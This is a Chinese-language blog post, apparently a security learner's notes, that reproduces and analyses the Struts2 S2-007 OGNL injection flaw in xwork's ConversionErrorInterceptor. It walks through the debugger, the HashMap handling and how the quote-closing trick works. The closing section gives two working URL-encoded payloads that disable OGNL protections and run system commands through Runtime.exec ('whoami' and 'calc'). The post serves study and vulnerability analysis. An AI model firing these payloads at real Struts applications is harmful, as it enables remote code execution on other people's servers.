前言
原本是打算复现shiro RemeberMe的漏洞环境的,想分析下代码,结果搭了两天都是失败的,后面听说是要jdk1.6版本,我的jdk版本是1.8,实在是被折磨的废了不想降了,不搞他了。
后面看了一下打算学习下s2-005的,又看了下,需要tomcat6的版本,本机环境tomcat9,也懒得降了。实在是搞怕了。
漏洞信息
把Problem
翻译一下:发生转换错误时,将用户输入评估为OGNL表达式。 这允许恶意用户执行任意代码。
环境搭建
源码在:Github上下载的。
编辑器:IDEA
环境配置如下图👇:
配置好tomcat就可以运行了,测试过代码是没问题的
分析代码
首先这里有一个验证表单,限制了age
的长度。
1 | <?xml version="1.0" encoding="UTF-8" ?> |
在看UserAction
的代码
首先变量age
和name,email
就不同,是一个私有的Integer
类型变量。
1 | package com.demo.action; |
漏洞位置
主要位于s2-007\web\WEB-INF\lib\xwork-core\2.2.3.jar\com\opensymphony\xwork2\interceptor\ConversionErrorInterceptor.class::28
关注一下语句
1 | HashMap<Object, Object> fakie = null;//HashMap的主干是一个Entry数组,设置fakie为null |
现在通过分析,可以知道只能通过age
的输入框处,输入攻击payload,才能触发漏洞,因为email,name
是string
类型的变量,通过下面这条语句来获取输入的值
1 | Object action = invocation.getAction(); |
漏洞利用
在ConversionErrorInterceptor.class::29
处下断运行分析代码流程。
使用网上给出的payload
1 | '+(#application)+' |
返回到IDEA中跟流程。一路F8
,跟到获取值处,可以看到这是输入进来的payload
一路往下走,由于此时fakie
的值是null
所以会走进第一个if判断中重新新建HashMap()
,接着fakie
会以下的变量都put
处理。
propertyName
invocation
:
value
:
跟进PUT
,在jdk8中源码是这样的。
1 | public V put(K key, V value) { |
他的方法具体实现在putVal
中,不过看了下源码看不太懂,通过网上一篇文章总结是这么说的:HashMap在put方法中,它使用hashCode()和equals()方法。当我们通过传递key-value对调用put方法的时候,HashMap使用Key hashCode()和哈希算法来找出存储key-value对的索引。如果索引处为空,则直接插入到对应的数组中,否则,判断是否是红黑树,若是,则红黑树插入,否则遍历链表,若长度不小于8,则将链表转为红黑树,转成功之后 再插入。
主要不清楚红黑树是啥。
转到另一个函数getOverrideExpr
到这里就清楚了,为什么payload
处要加'+
、+'
就是要闭合这里。
这个时候观察fakie
的值,value
值就变成了''+(#application)+''
最后通过invoke
方法(用来执行某个的对象的目标方法)解析OGNL。
漏洞利用
网上的POC
命令执行
1 | %27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29+%2B+%27 |
弹出计算器
1 | %27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27calc%27%29.getInputStream%28%29%29%29+%2B+%27 |